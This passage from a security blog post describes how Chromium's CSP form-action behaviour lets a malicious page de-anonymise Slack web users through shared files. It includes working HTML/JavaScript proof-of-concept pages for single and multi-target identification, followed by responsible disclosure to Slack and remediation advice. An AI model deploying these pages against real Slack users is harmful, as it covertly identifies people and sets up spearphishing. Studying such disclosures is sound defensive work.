</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">new</span> Promise(<span style="color:#a6e22e">resolve</span> =&gt; <span style="color:#a6e22e">setTimeout</span>(<span style="color:#a6e22e">resolve</span>, <span style="color:#a6e22e">ms</span>));
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">notifyOfVisitBy</span>(<span style="color:#a6e22e">username</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">h1</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">createElement</span>(<span style="color:#e6db74">&#34;h1&#34;</span>);
</span></span><span style="display:flex;"><span>        document.<span style="color:#a6e22e">body</span>.<span style="color:#a6e22e">appendChild</span>(<span style="color:#a6e22e">h1</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">h1</span>.<span style="color:#a6e22e">innerText</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">`Hi there, </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">username</span><span style="color:#e6db74">}</span><span style="color:#e6db74">!`</span>;
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">browserIsNotSupported</span>() {
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// see https://developer.mozilla.org/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent
</span></span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">navigator</span>.<span style="color:#a6e22e">userAgent</span>.<span style="color:#a6e22e">includes</span>(<span style="color:#e6db74">&#39;Firefox/&#39;</span>) <span style="color:#f92672">&amp;&amp;</span>
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">!</span><span style="color:#a6e22e">navigator</span>.<span style="color:#a6e22e">userAgent</span>.<span style="color:#a6e22e">includes</span>(<span style="color:#e6db74">&#39;Seamonkey/&#39;</span>) <span style="color:#f92672">||</span>
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">navigator</span>.<span style="color:#a6e22e">userAgent</span>.<span style="color:#a6e22e">includes</span>(<span style="color:#e6db74">&#39;Safari/&#39;</span>) <span style="color:#f92672">&amp;&amp;</span>
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">!</span><span style="color:#a6e22e">navigator</span>.<span style="color:#a6e22e">userAgent</span>.<span style="color:#a6e22e">includes</span>(<span style="color:#e6db74">&#39;Chrome/&#39;</span>) <span style="color:#f92672">&amp;&amp;</span>
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">!</span><span style="color:#a6e22e">navigator</span>.<span style="color:#a6e22e">userAgent</span>.<span style="color:#a6e22e">includes</span>(<span style="color:#e6db74">&#39;Chromium/&#39;</span>);
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">test</span>() {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">browserIsNotSupported</span>()) {
</span></span><span style="display:flex;"><span>          <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">violation</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">false</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">username</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;anonymous&#34;</span>;
</span></span><span style="display:flex;"><span>        window.<span style="color:#a6e22e">addEventListener</span>(<span style="color:#e6db74">&#39;securitypolicyviolation&#39;</span>, () =&gt; {
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">violation</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span>        });
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;</span> <span style="color:#a6e22e">trackers</span>.<span style="color:#a6e22e">length</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">myForm</span>.<span style="color:#a6e22e">action</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">trackers</span>[<span style="color:#a6e22e">i</span>].<span style="color:#a6e22e">url</span>;
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">myForm</span>.<span style="color:#a6e22e">submit</span>();
</span></span><span style="display:flex;"><span>          <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">sleep</span>();
</span></span><span style="display:flex;"><span>          <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">violation</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">username</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">trackers</span>[<span style="color:#a6e22e">i</span>].<span style="color:#a6e22e">username</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>          }
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">violation</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">false</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">notifyOfVisitBy</span>(<span style="color:#a6e22e">username</span>);
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">test</span>();
</span></span><span style="display:flex;"><span>    &lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>If the attacker is in a position to create a &ldquo;burner&rdquo; Slack account,
maximum stealth can be achieved.
After sharing the required resources with their victims,
the attacker can quickly deactivate the burner account;
and, <a href="https://slack.com/help/articles/204475027-Deactivate-a-members-account#deactivate-someones-account" target="_blank" rel="noopener">crucially</a>,</p>
<blockquote>
<p>[p]eople aren&rsquo;t notified when their accounts are deactivated,
<strong>nor are their messages or files deleted</strong></p>
</blockquote>
<p>but the notifications received by the victims will disappear
from their Web clients!</p>
<p>On the other hand, the approach doesn&rsquo;t scale well:
it has a worst-case time complexity of <code>O(n)</code>,
where <code>n</code> is the number of targeted users.
In plain English, the attacker must share <code>n</code> resources,
one resource per targeted user—which could probably be automated, though—and
their malicious page must, in the worst case, send as many as <code>n</code> HTTP requests.</p>
<h2 id="optimising-the-de-anonymisation-attack-against-multiple-users">Optimising the de-anonymisation attack against multiple users <a href="#optimising-the-de-anonymisation-attack-against-multiple-users">¶</a></h2>
<p>An alternative, more efficient though more obtrusive, approach is possible.
Slack supports <a href="https://slack.com/intl/en-fr/help/articles/1500002969782-Add-more-people-to-a-group-direct-message" target="_blank" rel="noopener">group direct messages</a>;
in other words, more than two people can take part in a direct-message conversation.
As outlined in section 3.3 of the <a href="https://www.usenix.org/conference/usenixsecurity19/presentation/staicu" target="_blank" rel="noopener">Leaky Images paper</a>,
an attacker can leverage this functionality to de-anonymise
one targeted user among <code>n</code> others
by sharing no more than <code>O(log n)</code> resources
(<code>ceil(log(n)/log(2))</code>, to be exact)
and sending no more than <code>O(log n)</code> HTTP requests from their malicious page.</p>
<p>The trick consists in assigning a unique <a href="https://en.wikipedia.org/wiki/Bit_array" target="_blank" rel="noopener">bit vector</a>
to each targeted user—reserving the zero bit vector for anonymous visitors
and untargeted users.
For instance, if Mallory were targeting three of their fellow workspace members
(Alice, Bob, and Carol), they could associate each one of them
to a unique 2-bit vector:</p>
<pre tabindex="0"><code>user                 | bit vector
---------------------|-----------
anonymous/untargeted | 00
Alice                | 01
Bob                  | 10
Carol                | 11
</code></pre><p>To each position in the bit vector corresponds a resource shared
among all targeted users for which that bit is set (and nobody else).
In this particular example, Mallory would share one
resource with both Alice and Carol, and another resource with both Bob and Carol.
By testing whether the current visitor has access to each resource,
Mallory&rsquo;s malicious page can compute the bit vector corresponding to the visitor:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!doctype html&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;utf-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">http-equiv</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Content-Security-Policy&#34;</span>
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;form-action https://files.slack.com&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;myForm&#34;</span>&gt;&lt;/<span style="color:#f92672">form</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">trackers</span> <span style="color:#f92672">=</span> [
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;https://files.slack.com/files-pri/TXXXXXXXXXX-FAAAAACCCCC/download/foo.txt&#34;</span>, <span style="color:#75715e">// shared by Mallory with Alice and Carol
</span></span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;https://files.slack.com/files-pri/TXXXXXXXXXX-FBBBBBCCCCC/download/foo.txt&#34;</span>  <span style="color:#75715e">// shared by Mallory with Bob   and Carol
</span></span></span><span style="display:flex;"><span>      ];
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">tracked</span> <span style="color:#f92672">=</span> [
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;anonymous/untracked user&#34;</span>, <span style="color:#75715e">// 00
</span></span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Alice&#34;</span>,                    <span style="color:#75715e">// 01
</span></span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Bob&#34;</span>,                      <span style="color:#75715e">// 10
</span></span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Carol&#34;</span>,                    <span style="color:#75715e">// 11
</span></span></span><span style="display:flex;"><span>      ];
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">sleep</span>() {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">ms</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1000</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">new</span> Promise(<span style="color:#a6e22e">resolve</span> =&gt; <span style="color:#a6e22e">setTimeout</span>(<span style="color:#a6e22e">resolve</span>, <span style="color:#a6e22e">ms</span>));
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">notifyOfVisitBy</span>(<span style="color:#a6e22e">username</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">h1</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">createElement</span>(<span style="color:#e6db74">&#34;h1&#34;</span>);
</span></span><span style="display:flex;"><span>        document.<span style="color:#a6e22e">body</span>.<span style="color:#a6e22e">appendChild</span>(<span style="color:#a6e22e">h1</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">h1</span>.<span style="color:#a6e22e">innerText</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">`Hi there, </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">username</span><span style="color:#e6db74">}</span><span style="color:#e6db74">!`</span>;
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">browserIsNotSupported</span>() {
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// see https://developer.mozilla.org/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent
</span></span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">navigator</span>.<span style="color:#a6e22e">userAgent</span>.<span style="color:#a6e22e">includes</span>(<span style="color:#e6db74">&#39;Firefox/&#39;</span>) <span style="color:#f92672">&amp;&amp;</span>
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">!</span><span style="color:#a6e22e">navigator</span>.<span style="color:#a6e22e">userAgent</span>.<span style="color:#a6e22e">includes</span>(<span style="color:#e6db74">&#39;Seamonkey/&#39;</span>) <span style="color:#f92672">||</span>
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">navigator</span>.<span style="color:#a6e22e">userAgent</span>.<span style="color:#a6e22e">includes</span>(<span style="color:#e6db74">&#39;Safari/&#39;</span>) <span style="color:#f92672">&amp;&amp;</span>
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">!</span><span style="color:#a6e22e">navigator</span>.<span style="color:#a6e22e">userAgent</span>.<span style="color:#a6e22e">includes</span>(<span style="color:#e6db74">&#39;Chrome/&#39;</span>) <span style="color:#f92672">&amp;&amp;</span>
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">!</span><span style="color:#a6e22e">navigator</span>.<span style="color:#a6e22e">userAgent</span>.<span style="color:#a6e22e">includes</span>(<span style="color:#e6db74">&#39;Chromium/&#39;</span>);
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">test</span>() {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">bv</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">3</span>; <span style="color:#75715e">// 2-bit vector, initially all ones
</span></span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">browserIsNotSupported</span>()) {
</span></span><span style="display:flex;"><span>          <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        window.<span style="color:#a6e22e">addEventListener</span>(<span style="color:#e6db74">&#39;securitypolicyviolation&#39;</span>, () =&gt; {
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">bv</span> <span style="color:#f92672">^=</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">&lt;&lt;</span> <span style="color:#a6e22e">i</span>; <span style="color:#75715e">// clear corresponding bit from bit vector
</span></span></span><span style="display:flex;"><span>        });
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;</span> <span style="color:#a6e22e">trackers</span>.<span style="color:#a6e22e">length</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">myForm</span>.<span style="color:#a6e22e">action</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">trackers</span>[<span style="color:#a6e22e">i</span>];
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">myForm</span>.<span style="color:#a6e22e">submit</span>();
</span></span><span style="display:flex;"><span>          <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">sleep</span>();
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">notifyOfVisitBy</span>(<span style="color:#a6e22e">tracked</span>[<span style="color:#a6e22e">bv</span>]);
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">test</span>();
</span></span><span style="display:flex;"><span>    &lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/FA-2XMAHRzI?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<p>Though much more efficient, this approach isn&rsquo;t as stealthy as the linear one
because it generates a lot of notification noise in the victims&rsquo; Web clients;
and, unfortunately for the attacker, using a burner account that they would
then deactivate as in the linear approach wouldn&rsquo;t make all those notifications
disappear, because the corresponding DMs in general involve more than two
interlocutors.</p>
<h2 id="responsible-disclosure-to-slack-and-discussion">Responsible disclosure to Slack and discussion <a href="#responsible-disclosure-to-slack-and-discussion">¶</a></h2>
<p>I <a href="https://hackerone.com/reports/1068153" target="_blank" rel="noopener">reported</a> my findings to Slack through their public bug-bounty
programme on HackerOne.
Somewhat predictably, they chose not to reward my report,
but their response, which they allowed me to disclose here,
left something to be desired:</p>
<blockquote>
<p>Thank you for your report. We appreciate you bringing this to our attention,
but after some internal discussion, we&rsquo;ve chosen not to make a change here at
this time.</p>
<p>This attack scenario differs slightly from the report you are referencing
(<a href="https://hackerone.com/reports/329957" target="_blank" rel="noopener">#329957</a>) in several ways. First, this attack relies on a
&ldquo;team member against team member&rdquo; attack scenario, and we generally consider
Workspaces to be at least somewhat &ldquo;trusted spaces&rdquo;.
We generally require a higher severity bar for vulnerabilities that exist
only within a team. Second, unlike truly public services,
there is at least some implied measure of trust, or at least familiarity,
between two users in a Slack Workspace.
This contrasts from truly public services, in which two users may not have any
relationship at all.
For these reasons, we will be closing this report as Informative.</p>
<p>Thanks, and good luck with your future bug hunting.</p>
</blockquote>
<p>Before I discuss Slack&rsquo;s response, let me first play the Devil&rsquo;s advocate and
list some attenuating circumstances that lessen the impact of the
de-anonymisation attack.</p>
<h3 id="attenuating-circumstances">Attenuating circumstances <a href="#attenuating-circumstances">¶</a></h3>
<p>The multi-target variant of the attack indeed suffers from some limitations:</p>
<ul>
<li>It is only viable in some browsers—most notably not in Firefox and Safari—and
simply doesn&rsquo;t apply in Slack&rsquo;s desktop client or mobile apps,
which are likely more popular than Slack&rsquo;s Web client is.</li>
<li>It either generates a lot of notification noise or doesn&rsquo;t
scale gracefully against a large number of targeted users.
There may be a way of silently sharing a resource with other users,
without triggering any notification, but I&rsquo;m not aware of any.</li>
<li>It is somewhat brittle insofar as it&rsquo;s partly timing-based;
inappropriate calibration of the delay (<code>ms</code>, in my PoC) may cause
spurious results.</li>
</ul>
<p>Nevertheless, I find Slack&rsquo;s response underwhelming for several reasons.</p>
<h3 id="implied-trust-between-members">Implied trust between members <a href="#implied-trust-between-members">¶</a></h3>
<p>Slack may be overestimating the implied trust between members.
The <a href="https://www.eff.org/" target="_blank" rel="noopener">Electronic Frontier Foundation (EFF)</a>,
in <a href="https://www.eff.org/deeplinks/2018/02/revolution-and-slack" target="_blank" rel="noopener">a post about Slack privacy merits and demerits</a>,
hits the nail on the head:</p>
<blockquote>
<p>Any group environment is only as trustworthy as the people who participate in it.
Group members can share and even screenshot content, so it is important
to establish guidelines and expectations that all members agree on.</p>
</blockquote>
<p>There are many large, cross-business Slack workspaces;
take <a href="https://ebrc.slack.com/join/signup#/domain-signup" target="_blank" rel="noopener">the EBRC&rsquo;s</a> or <a href="https://chromium.slack.com/signup#/domain-signup" target="_blank" rel="noopener">Chromium&rsquo;s</a> as examples.
Implicitly assuming mutual trust between so many members is dangerous.</p>
<h3 id="low-barrier-to-entry">Low barrier to entry <a href="#low-barrier-to-entry">¶</a></h3>
<p>Although the attacker must be a member of the Slack workspace whose members they
plan to target, the barrier to entry tends to be low.
For instance, <a href="https://slack.com/intl/en-fr/help/articles/115004854783-Manage-workspace-invitation-permissions-and-requests" target="_blank" rel="noopener">by default</a>,
any non-guest member can invite people to join their Slack workspace.
Besides, although admins can restrict signup to people whose email address
matches an allowlist of domains, few elect to do so, and when they do,
<a href="https://ebrc.slack.com/join/signup#/domain-signup" target="_blank" rel="noopener">their allowlist can, regrettably, be quite permissive</a>.</p>
<h3 id="workspace-membership-is-fluid">Workspace membership is fluid <a href="#workspace-membership-is-fluid">¶</a></h3>
<p>New members join; some existing ones leave, whether given the choice or not.
Even <a href="https://www.reddit.com/r/golang/comments/ppluux/peter_bourgon_banned_from_all_go_community_spaces/" target="_blank" rel="noopener">formerly revered members</a> may receive a ban after a series of missteps.
In fact, Slack itself <a href="https://slack.com/intl/en-fr/help/articles/115004155306-Security-tips-to-protect-your-workspace#limit-who-has-access" target="_blank" rel="noopener">acknowledges</a>
that the composition of a workspace isn&rsquo;t set in stone and urges admins
to diligently curate their list of members for security reasons:</p>
<blockquote>
<p>Deactivate members’ accounts who no longer need access.
Change is constant, and people come and go.
Don’t forget to deactivate a member’s account when they leave.</p>
</blockquote>
<p>This injunction contradicts Slack&rsquo;s stance in their response to my report.</p>
<h3 id="privacy-matters-more-to-some-than-to-others">Privacy matters more to some than to others <a href="#privacy-matters-more-to-some-than-to-others">¶</a></h3>
<p>In this era of third-party tracking run amok and neverending series of data leaks,
the possibility of de-anonymisation may only elicit a bored yawn
from the average Joe or Jane.
For other people, though, privacy is paramount and shouldn&rsquo;t be compromised at any cost.
Slack itself <a href="https://slack.com/resources/why-use-slack/the-value-of-slack-for-government" target="_blank" rel="noopener">boasts about</a> its value for government entities and
military personnel. The EFF <a href="https://www.eff.org/deeplinks/2018/02/revolution-and-slack" target="_blank" rel="noopener">observes</a> that</p>
<blockquote>
<p>[c]ommunity groups, activists, and workers in the United States are increasingly
gravitating toward <a href="https://slack.com" target="_blank" rel="noopener">Slack</a> to communicate and coordinate efforts.</p>
</blockquote>
<p>An attacker may follow de-anonymisation
with a <a href="https://en.wikipedia.org/wiki/Phishing#Spear_phishing" target="_blank" rel="noopener">spearphishing</a> attack.
How likely would you be to check the domain name in your browser&rsquo;s address bar
if you were lured to a spoofed Slack login form with your email address—which
<a href="https://slack.com/intl/en-fr/help/articles/228020667-Manage-email-display" target="_blank" rel="noopener">Slack discloses to other members by default</a>—prefilled?</p>
<p>Even if we discard the possibility of follow-up phishing attacks,
de-anonymisation and the harvesting of IP addresses
and <a href="https://amiunique.org/" target="_blank" rel="noopener">browser fingerprints</a> can be weaponised.
Only <a href="https://www.wired.com/story/protonmail-amends-policy-after-giving-up-activists-data/" target="_blank" rel="noopener">very recently</a>,
several <a href="https://youthforclimate.fr/" target="_blank" rel="noopener">Youth For Climate</a> activists
protesting gentrification in Paris saw their IP addresses
and browser fingerprints handed over to French police by <a href="https://protonmail.com/" target="_blank" rel="noopener">ProtonMail</a>,
which ultimately led to their arrest.
<a href="https://en.wikipedia.org/wiki/Geofeedia" target="_blank" rel="noopener">Some nefarious for-profit organisations</a> even specialise in
correlating social-media posts with geographical locations, etc.
and routinely partner with law enforcement (or worse) to monitor
and crack down on protestors, political dissidents, activists, etc.</p>
<p>By the way, if you want to help right a wrong,
you can hunt on <a href="https://protonmail.com/blog/protonmail-bug-bounty-program/" target="_blank" rel="noopener">ProtonMail&rsquo;s public bug-bounty programme</a>
and donate your bountie(s) to Youth For Climate, as I once did.</p>
<h3 id="users-are-defenceless">Users are defenceless <a href="#users-are-defenceless">¶</a></h3>
<p>Users cannot do much to protect themselves against de-anonymisation.
They cannot prevent attackers from installing &ldquo;tracker&rdquo; resources,
because any workspace member can send a DM to any other;
and, as far as I know, Slack doesn&rsquo;t allow users to block other users.
Users aware of the attack may be tempted to <a href="https://slack.com/intl/en-fr/help/articles/204411433-Mute-channels-and-direct-messages" target="_blank" rel="noopener">mute</a>
the DM conversation with the attacker, but doing so doesn&rsquo;t help at all.
Measures that effectively protect users who insist on accessing Slack
through its Web client are limited to</p>
<ul>
<li>diligently using a dedicated browser instance for Slack
and/or <a href="https://www.torproject.org/" target="_blank" rel="noopener">the Tor network</a>,</li>
<li>not browsing anything other than Slack while logged in, or</li>
<li>disabling JavaScript altogether.</li>
</ul>
<h2 id="remediation-guidance">Remediation guidance <a href="#remediation-guidance">¶</a></h2>
<p>For all the reasons listed above, Slack should plug this privacy hole.
I can think of two options.</p>
<p>Slack could generate user-specific URLs for accessing shared resources.
One stateless implementation consists in making Slack&rsquo;s backend
require, in the URL, the presence of some <a href="https://en.wikipedia.org/wiki/HMAC" target="_blank" rel="noopener">HMAC</a> value
specific to both the querying user and the queried resource.
Unfortunately, this approach may be difficult to retrofit
without breaking access to resources that have already been shared,
and it may also conflict with caching.</p>
<p>Alternatively, Slack could leverage a privacy feature called
<a href="https://developer.mozilla.org/en-US/docs/Glossary/Fetch_metadata_request_header" target="_blank" rel="noopener"><em>Fetch Metadata request headers</em></a>, which provides
valuable information about the nature of requests sent by compliant browsers,
<a href="https://www.chromestatus.com/feature/5155867204780032" target="_blank" rel="noopener">including Chromium</a>.
Hitting the URL in the browser&rsquo;s address bar indeed triggers a request
containing the following headers,</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Sec-Fetch-Site: none
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Sec-Fetch-Mode: navigate
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Sec-Fetch-User: ?1
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Sec-Fetch-Dest: document
</span></span></span></code></pre></div><p>and downloading the file by clicking on the <em>Download</em> button in Slack&rsquo;s UI
triggers a request containing the following headers,</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Sec-Fetch-Site: same-site
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Sec-Fetch-Mode: navigate
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Sec-Fetch-User: ?1
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Sec-Fetch-Dest: document
</span></span></span></code></pre></div><p>In contrast, the malicious page issues requests that contain the following headers:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Sec-Fetch-Site: cross-site
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Sec-Fetch-Mode: navigate
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Sec-Fetch-Dest: document
</span></span></span></code></pre></div><p>Note, in particular, that the value of the <code>Sec-Fetch-Site</code> request header is
different in all three cases.
This observable difference should be enough for Slack to discriminate between
a genuine request and a de-anonymisation attack of the kind I&rsquo;ve outlined in
this post.</p>
<h2 id="thoughts-on-chromiums-form-action-implementation">Thoughts on Chromium&rsquo;s form-action implementation <a href="#thoughts-on-chromiums-form-action-implementation">¶</a></h2>
<p>Whether <code>form-action</code> should block redirects after a form submission is a
matter of dispute; even the <a href="https://www.w3.org/" target="_blank" rel="noopener">W3C</a> hasn&rsquo;t made up its collective mind,
and the directive&rsquo;s behaviour in the face of redirects remains unspecified.
The conversation in <a href="https://github.com/w3c/webappsec-csp/issues/8" target="_blank" rel="noopener">the relevant GitHub issue</a>
has so far revolved around the risk of form-data exfiltration
and the tradeoff between strictness and usability,
but the possibility of an attacker abusing <code>form-action</code> to effect an XSLeak
of the kind described here appears to have been overlooked.</p>
<p>Perhaps this post will contribute, to some extent, in getting the Chromium team
to reconsider its implementation decisions regarding <code>form-action</code>, as
the current implementation somewhat undermines the benefits of <code>SameSite=Lax</code>.</p>
<p>Edit (2021/12/06): I subsequently opened <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=1259077" target="_blank" rel="noopener">crbug #1259077</a>
to alert the Chromium team to this problem.</p>
<h2 id="acknowledgements">Acknowledgements <a href="#acknowledgements">¶</a></h2>
<p>Thanks a lot to <a href="https://victorymedium.com" target="_blank" rel="noopener">Zach Edwards</a>, who gave me valuable feedback on my findings.
Thanks also to <a href="https://alesandroortiz.com" target="_blank" rel="noopener">Alesandro Ortiz</a> and <a href="https://bsky.app/profile/pixeldetracking.bsky.social" target="_blank" rel="noopener">@pixeldetracking</a> who
kindly agreed to review an early draft of this post.</p>
]]></content>
        </item>
        
        <item>
